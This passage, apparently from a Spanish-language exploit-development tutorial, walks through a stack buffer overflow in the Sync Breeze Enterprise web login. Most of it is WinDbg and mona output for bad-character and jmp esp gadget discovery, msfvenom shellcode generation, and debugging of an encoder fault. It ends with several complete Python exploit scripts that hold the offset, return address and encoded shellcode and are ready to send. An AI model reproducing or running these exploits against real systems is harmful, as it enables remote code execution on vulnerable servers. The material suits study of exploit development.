0x01c2744c | 60 |61 62 63 64 65 66 67 68 69 6a 6b 6c 6d 6e 6f 70| File
0x01c2744c | |c4 d0 c2 01 f8 aa c2 01 70 74 c2 01 00 00 00 00| Memory
0x01c2744c | 70 |71 72 73 74 75 76 77 78 79 7a 7b 7c 7d 7e 7f 80| File
0x01c2744c | |00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00| Memory
0x01c2744c | 80 |81 82 83 84 85 86 87 88 89 8a 8b 8c 8d 8e 8f 90| File
0x01c2744c | |00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00| Memory
0x01c2744c | 90 |91 92 93 94 95 96 97 98 99 9a 9b 9c 9d 9e 9f a0| File
0x01c2744c | |00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00| Memory
0x01c2744c | a0 |a1 a2 a3 a4 a5 a6 a7 a8 a9 aa ab ac ad ae af b0| File
0x01c2744c | |00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00| Memory
0x01c2744c | b0 |b1 b2 b3 b4 b5 b6 b7 b8 b9 ba bb bc bd be bf c0| File
0x01c2744c | |00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00| Memory
0x01c2744c | c0 |c1 c2 c3 c4 c5 c6 c7 c8 c9 ca cb cc cd ce cf d0| File
0x01c2744c | |00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00| Memory
0x01c2744c | d0 |d1 d2 d3 d4 d5 d6 d7 d8 d9 da db dc dd de df e0| File
0x01c2744c | |00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00| Memory
0x01c2744c | e0 |e1 e2 e3 e4 e5 e6 e7 e8 e9 ea eb ec ed ee ef f0| File
0x01c2744c | |00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00| Memory
0x01c2744c | f0 |f1 f2 f3 f4 f5 f6 f7 f8 f9 fa fb fc fd fe ff | File
0x01c2744c | |00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 | Memory
0x01c2744c | `-----------------------------------------------'
0x01c2744c |
0x01c2744c | | File | Memory | Note
0x01c2744c | -------------------------------------------------------------
0x01c2744c | 0 0 9 9 | 01 ... 09 | 01 ... 09 | unmodified!
0x01c2744c | -------------------------------------------------------------
0x01c2744c | 9 9 5 5 | 0a 0b 0c 0d 0e | 00 a8 00 78 71 | corrupted
0x01c2744c | 14 14 1 1 | 0f | 0f | unmodified!
0x01c2744c | 15 15 240 240 | 10 ... ff | 01 ... 00 | corrupted
0x01c2744c |
0x01c2744c | Possibly bad chars: 0a
0x01c2744c | Bytes omitted from input: 00
0x01c2744c |
Este proceso se tienen que repetir muchas veces hasta obtener todos los badchars
0:000> !py mona bytearray -cpb '\x00\x0a'
Cuando esto pase mona nos indicara que los bytes comparados en el stack con el .bin
no se han modificado, en este caso esto pasa despues de detectar 7
badchars
0:000> !py mona compare -f C:\mona\bytearray.bin -a esp
Hold on...
[+] Command used:
!py C:\Users\user\Documents\windbg\x86\mona.py compare -f C:\mona\bytearray.bin -a esp
[+] Reading file C:\mona\bytearray.bin...
Read 249 bytes from file
[+] Preparing output file 'compare.txt'
- (Re)setting logfile C:\mona\compare.txt
[+] Generating module info table, hang on...
- Processing modules
- Done. Let's rock 'n roll.
- Comparing 1 location(s)
Comparing bytes from file with memory :
0x01c2744c | [+] Comparing with memory at location : 0x01c2744c (Stack)
0x01c2744c | !!! Hooray, normal shellcode unmodified !!!
0x01c2744c | Bytes omitted from input: 00 0a 0d 25 26 2b 3d
¿Porque estos bytes dan problemas?, los badchars
dependen de cada programa y el campo donde ocurre la vulnerabilidad, en este caso los badchars son debido a que el caracter en ascii
puede dar problemas con la petición ya que es a través de una peticion POST
que ocurre en la autenticación del servidor web como pueden serlo:
• 0x00
o \0
: El null byte puede indicar que termina una cadena por lo que los bytes que esten después pueden no llegar a escribirse correctamente.
• 0x0a
o \n
: El salto de linea en este contexto a través de una petición puede indicar que el contenido de la petición POST ha terminado.
• 0x0d
o \r
: El retorno de carro en este contexto similar a lo anterior puede iundicar que el contenido de la data POST ha terminado.
• 0x25
o %
: El simbolo de porcentaje puede tener como significado que los 2 bytes siguientes seran enviados como uno solo tomado como valor hexadecimal.
• 0x26
o &
: El simbolo de ampersand puede indicar que se enviara otro parametro por lo que los siguientes bytes no se enviaran como valor del campo password.
• 0x2b
o +
: El simbolo de suma tambien puede representar un espacio en el contexto de peticiones web como lo es este caso de explotación.
• 0x3d
o =
: El simbolo de igual puede indicar que lo siguiente es el valor del parametro enviado por lo que tambien puede representar un problema.
Find Opcode
Sabemos que lo que enviemos despues de filler se guardará en el stack, por lo que si enviamos un shellcode que ejecute un comando solo necesitamos ejecutar lo que esta en el stack, cuando no hay protecciones como DEP
o ASLR
que veremos mas adelante solo necesitamos encontrar un gadget de alguna parte de los modulos que sea ejecutable y que ejecute lo que esta en el esp
, estos pueden ser algo como:
• jmp esp;
: Es la más comun, simplemente salta al registro esp por lo que ejecuta todas las instrucciones que esten almacenadas en el stack.
• call esp;
: Hace algo similar al opcode pasado solo que en lugar de usar jmp para saltar usa call para llamarlo como si fuera una función.
• push esp; ret;
: Al hacer un push guarda en el stack la dirección del esp y al ejecutar el ret tomara esa dirección como retorno por lo que ejecutara lo que este ahi.
Para encontrar un gadget que ejecute algunas de estas instrucciones primero necesitamos saber que modulos
carga el programa que pertenezcan a el y no al sistema para esto podemos usar mona, solo hay 4
modulos 3 de ellos son librerias, sin embargo de estos solo podemos usar 1
ya que el resto tiene como base una dirección que contiene 00
y antes habiamos visto que el null byte era un badchar
0:000> !py mona modules -cm os=false
Hold on...
[+] Command used:
!py C:\Users\user\Documents\windbg\x86\mona.py modules -cm os=false
---------- Mona command started on 2024-02-13 22:34:57 (v2.0, rev 635) ----------
[+] Processing arguments and criteria
- Pointer access level : X
- Module criteria : ['os=false']
[+] Generating module info table, hang on...
- Processing modules
- Done. Let's rock 'n roll.
----------------------------------------------------------------------------------------------------------------------------------------------
Module info :
----------------------------------------------------------------------------------------------------------------------------------------------
Base | Top | Size | Rebase | SafeSEH | ASLR | CFG | NXCompat | OS Dll | Version, Modulename & Path, DLLCharacteristics
----------------------------------------------------------------------------------------------------------------------------------------------
0x00890000 | 0x00944000 | 0x000b4000 | True | False | False | False | False | False | -1.0- [libsync.dll] (C:\Program Files (x86)\Sync Breeze Enterprise\bin\libsync.dll) 0x0
0x007b0000 | 0x00884000 | 0x000d4000 | True | False | False | False | False | False | -1.0- [libpal.dll] (C:\Program Files (x86)\Sync Breeze Enterprise\bin\libpal.dll) 0x0
0x10000000 | 0x10223000 | 0x00223000 | False | False | False | False | False | False | -1.0- [libspp.dll] (C:\Program Files (x86)\Sync Breeze Enterprise\bin\libspp.dll) 0x0
0x00400000 | 0x00462000 | 0x00062000 | False | False | False | False | False | False | -1.0- [syncbrs.exe] (C:\Program Files (x86)\Sync Breeze Enterprise\bin\syncbrs.exe) 0x0
----------------------------------------------------------------------------------------------------------------------------------------------
[+] Preparing output file 'modules.txt'
- (Re)setting logfile C:\mona\modules.txt
Ya que tenemos un modulo que no inicia con 00
y no tiene protecciones podemos usar mona para encontrar gadgets que nos ayuden a saltar al registro esp
, encontramos varios gadgets y deberiamos poder usar cualquiera de ellos
0:000> !py mona jmp -r esp -m libspp.dll -cpb '\x00\x0a\x0d\x25\x26\x2b\x3d'
Hold on...
[+] Command used:
!py C:\Users\user\Documents\windbg\x86\mona.py jmp -r esp -m libspp.dll -cpb '\x00\x0a\x0d\x25\x26\x2b\x3d'
---------- Mona command started on 2024-02-13 22:36:24 (v2.0, rev 635) ----------
[+] Processing arguments and criteria
- Pointer access level : X
- Only querying modules libspp.dll
- Bad char filter will be applied to pointers : '\x00\x0a\x0d\x25\x26\x2b\x3d'
[+] Generating module info table, hang on...
- Processing modules
- Done. Let's rock 'n roll.
[+] Querying 1 modules
- Querying module libspp.dll
- Search complete, processing results
[+] Preparing output file 'jmp.txt'
- (Re)setting logfile C:\mona\jmp.txt
[+] Writing results to C:\mona\jmp.txt
- Number of pointers of type 'push esp # ret 0x08' : 2
- Number of pointers of type 'jmp esp' : 1
- Number of pointers of type 'push esp # ret ' : 3
- Number of pointers of type 'push esp # ret 0x04' : 2
[+] Results :
0x1005f916 | 0x1005f916 : push esp # ret 0x08 | {PAGE_EXECUTE_READ} [libspp.dll] ASLR: False, Rebase: False, SafeSEH: False, CFG: False, OS: False, v-1.0- (C:\Program Files (x86)\Sync Breeze Enterprise\bin\libspp.dll), 0x0
0x1005f91e | 0x1005f91e : push esp # ret 0x08 | {PAGE_EXECUTE_READ} [libspp.dll] ASLR: False, Rebase: False, SafeSEH: False, CFG: False, OS: False, v-1.0- (C:\Program Files (x86)\Sync Breeze Enterprise\bin\libspp.dll), 0x0
0x10090c83 | 0x10090c83 : jmp esp | {PAGE_EXECUTE_READ} [libspp.dll] ASLR: False, Rebase: False, SafeSEH: False, CFG: False, OS: False, v-1.0- (C:\Program Files (x86)\Sync Breeze Enterprise\bin\libspp.dll), 0x0
0x100bb515 | 0x100bb515 : push esp # ret | {PAGE_EXECUTE_READ} [libspp.dll] ASLR: False, Rebase: False, SafeSEH: False, CFG: False, OS: False, v-1.0- (C:\Program Files (x86)\Sync Breeze Enterprise\bin\libspp.dll), 0x0
0x100e1cf2 | 0x100e1cf2 : push esp # ret | {PAGE_EXECUTE_READ} [libspp.dll] ASLR: False, Rebase: False, SafeSEH: False, CFG: False, OS: False, v-1.0- (C:\Program Files (x86)\Sync Breeze Enterprise\bin\libspp.dll), 0x0
0x10138c27 | 0x10138c27 : push esp # ret | {PAGE_EXECUTE_READ} [libspp.dll] ASLR: False, Rebase: False, SafeSEH: False, CFG: False, OS: False, v-1.0- (C:\Program Files (x86)\Sync Breeze Enterprise\bin\libspp.dll), 0x0
0x10072456 | 0x10072456 : push esp # ret 0x04 | ascii {PAGE_EXECUTE_READ} [libspp.dll] ASLR: False, Rebase: False, SafeSEH: False, CFG: False, OS: False, v-1.0- (C:\Program Files (x86)\Sync Breeze Enterprise\bin\libspp.dll), 0x0
0x1009f74e | 0x1009f74e : push esp # ret 0x04 | {PAGE_EXECUTE_READ} [libspp.dll] ASLR: False, Rebase: False, SafeSEH: False, CFG: False, OS: False, v-1.0- (C:\Program Files (x86)\Sync Breeze Enterprise\bin\libspp.dll), 0x0
Found a total of 8 pointers
Encoder Problem
Una vez tenemos el gadget podemos generar un shellcode com msfvenom
que nos ejecute un comando, en este caso por simplicidad ejecutaremos calc.exe
pero podriamos enviarnos perfectamente una reverse shell o ejecutar una bind shell
❯ msfvenom -p windows/exec CMD=calc.exe -f python -v shellcode -b '\x00\x0a\x0d\x25\x26\x2b\x3d'
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x86 from the payload
Found 12 compatible encoders
Attempting to encode payload with 1 iterations of x86/shikata_ga_nai
x86/shikata_ga_nai succeeded with size 220 (iteration=0)
x86/shikata_ga_nai chosen with final size 220
Payload size: 220 bytes
Final size of python file: 1237 bytes
shellcode = b""
shellcode += b"\xda\xc0\xbb\xa8\xaf\x03\xb8\xd9\x74\x24\xf4"
shellcode += b"\x5a\x31\xc9\xb1\x31\x31\x5a\x18\x83\xea\xfc"
shellcode += b"\x03\x5a\xbc\x4d\xf6\x44\x54\x13\xf9\xb4\xa4"
shellcode += b"\x74\x73\x51\x95\xb4\xe7\x11\x85\x04\x63\x77"
shellcode += b"\x29\xee\x21\x6c\xba\x82\xed\x83\x0b\x28\xc8"
shellcode += b"\xaa\x8c\x01\x28\xac\x0e\x58\x7d\x0e\x2f\x93"
shellcode += b"\x70\x4f\x68\xce\x79\x1d\x21\x84\x2c\xb2\x46"
shellcode += b"\xd0\xec\x39\x14\xf4\x74\xdd\xec\xf7\x55\x70"
shellcode += b"\x67\xae\x75\x72\xa4\xda\x3f\x6c\xa9\xe7\xf6"
shellcode += b"\x07\x19\x93\x08\xce\x50\x5c\xa6\x2f\x5d\xaf"
shellcode += b"\xb6\x68\x59\x50\xcd\x80\x9a\xed\xd6\x56\xe1"
shellcode += b"\x29\x52\x4d\x41\xb9\xc4\xa9\x70\x6e\x92\x3a"
shellcode += b"\x7e\xdb\xd0\x65\x62\xda\x35\x1e\x9e\x57\xb8"
shellcode += b"\xf1\x17\x23\x9f\xd5\x7c\xf7\xbe\x4c\xd8\x56"
shellcode += b"\xbe\x8f\x83\x07\x1a\xdb\x29\x53\x17\x86\x27"
shellcode += b"\xa2\xa5\xbc\x05\xa4\xb5\xbe\x39\xcd\x84\x35"
shellcode += b"\xd6\x8a\x18\x9c\x93\x65\x53\xbd\xb5\xed\x3a"
shellcode += b"\x57\x84\x73\xbd\x8d\xca\x8d\x3e\x24\xb2\x69"
shellcode += b"\x5e\x4d\xb7\x36\xd8\xbd\xc5\x27\x8d\xc1\x7a"
shellcode += b"\x47\x84\xa1\x1d\xdb\x44\x08\xb8\x5b\xee\x54"
Nuestro exploit consiste en enviar A's
hasta antes de sobrescribir el eip
donde ejecutaremos un jmp esp
y como en el stack se guarda nuestro shellcode
generado con msfvenom este deberia ejecutarse y lanzar una calculadora, la función p32
de pwntools nos sirve para empaquetar la dirección en little endian
#!/usr/bin/python3
from pwn import remote, p32
offset = 520
junk = b"A" * offset
jmpesp = p32(0x10090c83)
filler = b"C" * 4
shellcode = b""
shellcode += b"\xda\xc0\xbb\xa8\xaf\x03\xb8\xd9\x74\x24\xf4"
shellcode += b"\x5a\x31\xc9\xb1\x31\x31\x5a\x18\x83\xea\xfc"
shellcode += b"\x03\x5a\xbc\x4d\xf6\x44\x54\x13\xf9\xb4\xa4"
shellcode += b"\x74\x73\x51\x95\xb4\xe7\x11\x85\x04\x63\x77"
shellcode += b"\x29\xee\x21\x6c\xba\x82\xed\x83\x0b\x28\xc8"
shellcode += b"\xaa\x8c\x01\x28\xac\x0e\x58\x7d\x0e\x2f\x93"
shellcode += b"\x70\x4f\x68\xce\x79\x1d\x21\x84\x2c\xb2\x46"
shellcode += b"\xd0\xec\x39\x14\xf4\x74\xdd\xec\xf7\x55\x70"
shellcode += b"\x67\xae\x75\x72\xa4\xda\x3f\x6c\xa9\xe7\xf6"
shellcode += b"\x07\x19\x93\x08\xce\x50\x5c\xa6\x2f\x5d\xaf"
shellcode += b"\xb6\x68\x59\x50\xcd\x80\x9a\xed\xd6\x56\xe1"
shellcode += b"\x29\x52\x4d\x41\xb9\xc4\xa9\x70\x6e\x92\x3a"
shellcode += b"\x7e\xdb\xd0\x65\x62\xda\x35\x1e\x9e\x57\xb8"
shellcode += b"\xf1\x17\x23\x9f\xd5\x7c\xf7\xbe\x4c\xd8\x56"
shellcode += b"\xbe\x8f\x83\x07\x1a\xdb\x29\x53\x17\x86\x27"
shellcode += b"\xa2\xa5\xbc\x05\xa4\xb5\xbe\x39\xcd\x84\x35"
shellcode += b"\xd6\x8a\x18\x9c\x93\x65\x53\xbd\xb5\xed\x3a"
shellcode += b"\x57\x84\x73\xbd\x8d\xca\x8d\x3e\x24\xb2\x69"
shellcode += b"\x5e\x4d\xb7\x36\xd8\xbd\xc5\x27\x8d\xc1\x7a"
shellcode += b"\x47\x84\xa1\x1d\xdb\x44\x08\xb8\x5b\xee\x54"
payload = junk + jmpesp + filler + shellcode
data = b"username=username&password=" + payload
content = b""
content += b"POST /login HTTP/1.1\r\n"
content += b"Content-Type: application/x-www-form-urlencoded\r\n"
content += b"Content-Length: " + str(len(data)).encode() + b"\r\n\r\n"
content += data
shell = remote("Windows", 80)
shell.send(content)
Sin embargo esto no pasa y el debugger nos muestra que en algun lugar de la ejecución intento ejecutar una instrucción que provocó un Access violation
0:000> g
(1354.1d30): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00000001 ebx=b803afa8 ecx=0056f30c edx=00000350 esi=0056899e edi=01086ac8
eip=01c27457 esp=01c2744c ebp=00562bd0 iopl=0 nv up ei pl nz na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010206
01c27457 0000 add byte ptr [eax],al ds:002b:00000001=??
Para entender porque pasa esto establecemos un breakpoint
en la dirección que ejecuta jmp esp
y enviamos nuevamente el exploit, ahora podemos desensamblar las instrucciones usando u
y analizar cual esta ocasionando el problema
0:000> bp 0x10090c83
0:000> g
Breakpoint 0 hit
eax=00000001 ebx=00000000 ecx=0076d654 edx=00000350 esi=00767d56 edi=010b6ac8
eip=10090c83 esp=01c1744c ebp=00768ce8 iopl=0 nv up ei pl nz na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000206
libspp!SCA_FileScout::GetStatusValue+0xb3:
10090c83 ffe4 jmp esp {01c1744c}
0:000> u esp
01c1744c dac0 fcmovb st,st(0)
01c1744e bba8af03b8 mov ebx,0B803AFA8h
01c17453 d97424f4 fnstenv [esp-0Ch]
01c17457 5a pop edx
01c17458 31c9 xor ecx,ecx
01c1745a b131 mov cl,31h
01c1745c 315a18 xor dword ptr [edx+18h],ebx
01c1745f 83eafc sub edx,0FFFFFFFCh
La instrucción que esta ocasionando el error es fnstenv
, leyendo documentación podemos ver que guarda 28
bytes del estado del FPU, ¿cual es el problema? que lo esta escribindo en esp - 0xc
o esp - 12
por lo que escribe 12
bytes antes del stack y 16
bytes despues del stack que probablemente sobrescriben el shellcode
fnstenv [esp-0Ch]
Para verlo un poco mejor veamos el contenido del stack
antes y despues de la instrucción, ahora mismo en el stack esta almacenado el shellcode
0:000> dds esp L6
01c1744c a8bbc0da (esp + 0)
01c17450 d9b803af (esp + 4)
01c17454 5af42474 (esp + 8)
01c17458 31b1c931 (esp + 12)
01c1745c 83185a31 (esp + 16)
01c17460 5a03fcea (esp + 20)
Al ejecutar la instrucción fnstenv
la siguiente instrucción equivale a el hex 0000
0:000> r
eax=00000001 ebx=b803afa8 ecx=0076d654 edx=00000350 esi=00767d56 edi=010b6ac8
eip=01c17453 esp=01c1744c ebp=00768ce8 iopl=0 nv up ei pl nz na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000206
01c17453 d97424f4 fnstenv [esp-0Ch] ss:002b:01c17440=41
0:000> p
eax=00000001 ebx=b803afa8 ecx=0076d654 edx=00000350 esi=00767d56 edi=010b6ac8
eip=01c17457 esp=01c1744c ebp=00768ce8 iopl=0 nv up ei pl nz na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000206
01c17457 0000 add byte ptr [eax],al ds:002b:00000001=??
Esto pasa debido a que la instrucción sobrescribió 4 dwords
o 16 bytes
del stack
0:000> dds esp L6
01c1744c 00000000 (esp + 0) [overwrited]
01c17450 00000000 (esp + 4) [overwrited]
01c17454 00000000 (esp + 8) [overwrited]
01c17458 ffff0000 (esp + 12) [overwrited]
01c1745c 83185a31 (esp + 16)
01c17460 5a03fcea (esp + 20)
Solution 1
La solución mas simple es usar nops
, antes del shellcode enviamos 16 nops
entonces al sobrescribir los 16 bytes
sobrescribira los nops y no nuestro shellcode
shellcode = b"\x90" * 16
shellcode += b"\xda\xc0\xbb\xa8\xaf\x03\xb8\xd9\x74\x24\xf4"
shellcode += b"\x5a\x31\xc9\xb1\x31\x31\x5a\x18\x83\xea\xfc"
............................................................
Para verlo desde el debugger podemos establecer nuevamente el breakpoint
y mirar el stack, podemos ver 4 dwords
de nops y justo despues el inicio del shellcode
0:000> bp 0x10090c83
0:000> g
Breakpoint 0 hit
eax=00000001 ebx=00000000 ecx=0061ebac edx=00000350 esi=00619b7e edi=010d6ac8
eip=10090c83 esp=01bf744c ebp=00613c38 iopl=0 nv up ei pl nz na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000206
libspp!SCA_FileScout::GetStatusValue+0xb3:
10090c83 ffe4 jmp esp {01bf744c}
0:000> dds esp L8
01bf744c 90909090 (nops)
01bf7450 90909090 (nops)
01bf7454 90909090 (nops)
01bf7458 90909090 (nops)
01bf745c a8bbc0da (shellcode start)
01bf7460 d9b803af
01bf7464 5af42474
01bf7468 31b1c931
Después de ejecutar la instrucción fnstenv
los 4 dwords
de nops se sobrescriben sin embargo el inicio del shellcode
se mantiene intacto por lo que la ejecución de este no se deberia ver afectada por lo que se deberia ejecutar la calculadora
0:000> r
eax=00000001 ebx=b803afa8 ecx=0061ebac edx=00000350 esi=00619b7e edi=010d6ac8
eip=01bf7463 esp=01bf744c ebp=00613c38 iopl=0 nv up ei pl nz na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000206
01bf7463 d97424f4 fnstenv [esp-0Ch] ss:002b:01bf7440=41
0:000> p
eax=00000001 ebx=b803afa8 ecx=0061ebac edx=00000350 esi=00619b7e edi=010d6ac8
eip=01bf7467 esp=01bf744c ebp=00613c38 iopl=0 nv up ei pl nz na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000206
01bf7467 5a pop edx
0:000> dds esp L8
01bf744c 00000000 (overwrited)
01bf7450 00000000 (overwrited)
01bf7454 00000000 (overwrited)
01bf7458 ffff0000 (overwrited)
01bf745c a8bbc0da (shellcode start)
01bf7460 d9b803af
01bf7464 5af42474
01bf7468 31b1c931
El exploit final simplemente agrega 16 nops
al inicio del shellcode y al enviar el exploit fuera del debugger ejecuta el shellcode que equivale a lanzar una calculadora
#!/usr/bin/python3
from pwn import remote, p32
offset = 520
junk = b"A" * offset
jmpesp = p32(0x10090c83)
filler = b"C" * 4
shellcode = b"\x90" * 16
shellcode += b"\xda\xc0\xbb\xa8\xaf\x03\xb8\xd9\x74\x24\xf4"
shellcode += b"\x5a\x31\xc9\xb1\x31\x31\x5a\x18\x83\xea\xfc"
shellcode += b"\x03\x5a\xbc\x4d\xf6\x44\x54\x13\xf9\xb4\xa4"
shellcode += b"\x74\x73\x51\x95\xb4\xe7\x11\x85\x04\x63\x77"
shellcode += b"\x29\xee\x21\x6c\xba\x82\xed\x83\x0b\x28\xc8"
shellcode += b"\xaa\x8c\x01\x28\xac\x0e\x58\x7d\x0e\x2f\x93"
shellcode += b"\x70\x4f\x68\xce\x79\x1d\x21\x84\x2c\xb2\x46"
shellcode += b"\xd0\xec\x39\x14\xf4\x74\xdd\xec\xf7\x55\x70"
shellcode += b"\x67\xae\x75\x72\xa4\xda\x3f\x6c\xa9\xe7\xf6"
shellcode += b"\x07\x19\x93\x08\xce\x50\x5c\xa6\x2f\x5d\xaf"
shellcode += b"\xb6\x68\x59\x50\xcd\x80\x9a\xed\xd6\x56\xe1"
shellcode += b"\x29\x52\x4d\x41\xb9\xc4\xa9\x70\x6e\x92\x3a"
shellcode += b"\x7e\xdb\xd0\x65\x62\xda\x35\x1e\x9e\x57\xb8"
shellcode += b"\xf1\x17\x23\x9f\xd5\x7c\xf7\xbe\x4c\xd8\x56"
shellcode += b"\xbe\x8f\x83\x07\x1a\xdb\x29\x53\x17\x86\x27"
shellcode += b"\xa2\xa5\xbc\x05\xa4\xb5\xbe\x39\xcd\x84\x35"
shellcode += b"\xd6\x8a\x18\x9c\x93\x65\x53\xbd\xb5\xed\x3a"
shellcode += b"\x57\x84\x73\xbd\x8d\xca\x8d\x3e\x24\xb2\x69"
shellcode += b"\x5e\x4d\xb7\x36\xd8\xbd\xc5\x27\x8d\xc1\x7a"
shellcode += b"\x47\x84\xa1\x1d\xdb\x44\x08\xb8\x5b\xee\x54"
payload = junk + jmpesp + filler + shellcode
data = b"username=username&password=" + payload
content = b""
content += b"POST /login HTTP/1.1\r\n"
content += b"Content-Type: application/x-www-form-urlencoded\r\n"
content += b"Content-Length: " + str(len(data)).encode() + b"\r\n\r\n"
content += data
shell = remote("Windows", 80)
shell.send(content)
Solution 2
La segunda solución es mas simple y es que el problema anterior es especificamente de una instrucción al usar el encoder shikata_ga_nai
por lo que usando otro como jmp_call_additive
sin esa instrucción no deberia ocasionar ese problema
❯ msfvenom -p windows/exec CMD=calc.exe -f python -v shellcode -b '\x00\x0a\x0d\x25\x26\x2b\x3d' -e x86/jmp_call_additive
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x86 from the payload
Found 1 compatible encoders
Attempting to encode payload with 1 iterations of x86/jmp_call_additive
x86/jmp_call_additive succeeded with size 225 (iteration=0)
x86/jmp_call_additive chosen with final size 225
Payload size: 225 bytes
Final size of python file: 1274 bytes
shellcode = b""
shellcode += b"\xfc\xbb\xb4\xfc\x45\xbe\xeb\x0c\x5e\x56\x31"
shellcode += b"\x1e\xad\x01\xc3\x85\xc0\x75\xf7\xc3\xe8\xef"
shellcode += b"\xff\xff\xff\x48\x14\xc7\xbe\xb0\xe5\xa8\x37"
shellcode += b"\x55\xd4\xe8\x2c\x1e\x47\xd9\x27\x72\x64\x92"
shellcode += b"\x6a\x66\xff\xd6\xa2\x89\x48\x5c\x95\xa4\x49"
shellcode += b"\xcd\xe5\xa7\xc9\x0c\x3a\x07\xf3\xde\x4f\x46"
shellcode += b"\x34\x02\xbd\x1a\xed\x48\x10\x8a\x9a\x05\xa9"
shellcode += b"\x21\xd0\x88\xa9\xd6\xa1\xab\x98\x49\xb9\xf5"
shellcode += b"\x3a\x68\x6e\x8e\x72\x72\x73\xab\xcd\x09\x47"
shellcode += b"\x47\xcc\xdb\x99\xa8\x63\x22\x16\x5b\x7d\x63"
shellcode += b"\x91\x84\x08\x9d\xe1\x39\x0b\x5a\x9b\xe5\x9e"
shellcode += b"\x78\x3b\x6d\x38\xa4\xbd\xa2\xdf\x2f\xb1\x0f"
shellcode += b"\xab\x77\xd6\x8e\x78\x0c\xe2\x1b\x7f\xc2\x62"
shellcode += b"\x5f\xa4\xc6\x2f\x3b\xc5\x5f\x8a\xea\xfa\xbf"
shellcode += b"\x75\x52\x5f\xb4\x98\x87\xd2\x97\xf6\x56\x60"
shellcode += b"\xa2\xb5\x59\x7a\xac\xe9\x31\x4b\x27\x66\x45"
shellcode += b"\x54\xe2\xc2\xb9\x1e\xae\x63\x52\xc7\x3b\x36"
shellcode += b"\x3f\xf8\x96\x75\x46\x7b\x12\x06\xbd\x63\x57"
shellcode += b"\x03\xf9\x23\x84\x79\x92\xc1\xaa\x2e\x93\xc3"
shellcode += b"\xc9\xb1\x07\x8f\x23\x57\xa0\x2a\x3b\x97\x50"
shellcode += b"\xb5\x3b\x97\x50\xb5"
Esta vez el exploit final no necesita los nops
y ejecuta la calculadora correctamente
#!/usr/bin/python3
from pwn import remote, p32
offset = 520
junk = b"A" * offset
jmpesp = p32(0x10090c83)
filler = b"C" * 4
shellcode = b""
shellcode += b"\xfc\xbb\xb4\xfc\x45\xbe\xeb\x0c\x5e\x56\x31"
shellcode += b"\x1e\xad\x01\xc3\x85\xc0\x75\xf7\xc3\xe8\xef"
shellcode += b"\xff\xff\xff\x48\x14\xc7\xbe\xb0\xe5\xa8\x37"
shellcode += b"\x55\xd4\xe8\x2c\x1e\x47\xd9\x27\x72\x64\x92"
shellcode += b"\x6a\x66\xff\xd6\xa2\x89\x48\x5c\x95\xa4\x49"
shellcode += b"\xcd\xe5\xa7\xc9\x0c\x3a\x07\xf3\xde\x4f\x46"
shellcode += b"\x34\x02\xbd\x1a\xed\x48\x10\x8a\x9a\x05\xa9"
shellcode += b"\x21\xd0\x88\xa9\xd6\xa1\xab\x98\x49\xb9\xf5"
shellcode += b"\x3a\x68\x6e\x8e\x72\x72\x73\xab\xcd\x09\x47"
shellcode += b"\x47\xcc\xdb\x99\xa8\x63\x22\x16\x5b\x7d\x63"
shellcode += b"\x91\x84\x08\x9d\xe1\x39\x0b\x5a\x9b\xe5\x9e"
shellcode += b"\x78\x3b\x6d\x38\xa4\xbd\xa2\xdf\x2f\xb1\x0f"
shellcode += b"\xab\x77\xd6\x8e\x78\x0c\xe2\x1b\x7f\xc2\x62"
shellcode += b"\x5f\xa4\xc6\x2f\x3b\xc5\x5f\x8a\xea\xfa\xbf"
shellcode += b"\x75\x52\x5f\xb4\x98\x87\xd2\x97\xf6\x56\x60"
shellcode += b"\xa2\xb5\x59\x7a\xac\xe9\x31\x4b\x27\x66\x45"
shellcode += b"\x54\xe2\xc2\xb9\x1e\xae\x63\x52\xc7\x3b\x36"
shellcode += b"\x3f\xf8\x96\x75\x46\x7b\x12\x06\xbd\x63\x57"
shellcode += b"\x03\xf9\x23\x84\x79\x92\xc1\xaa\x2e\x93\xc3"
shellcode += b"\xc9\xb1\x07\x8f\x23\x57\xa0\x2a\x3b\x97\x50"
shellcode += b"\xb5\x3b\x97\x50\xb5"
payload = junk + jmpesp + filler + shellcode
data = b"username=username&password=" + payload
content = b""
content += b"POST /login HTTP/1.1\r\n"
content += b"Content-Type: application/x-www-form-urlencoded\r\n"
content += b"Content-Length: " + str(len(data)).encode() + b"\r\n\r\n"
content += data
shell = remote("Windows", 80)
shell.send(content)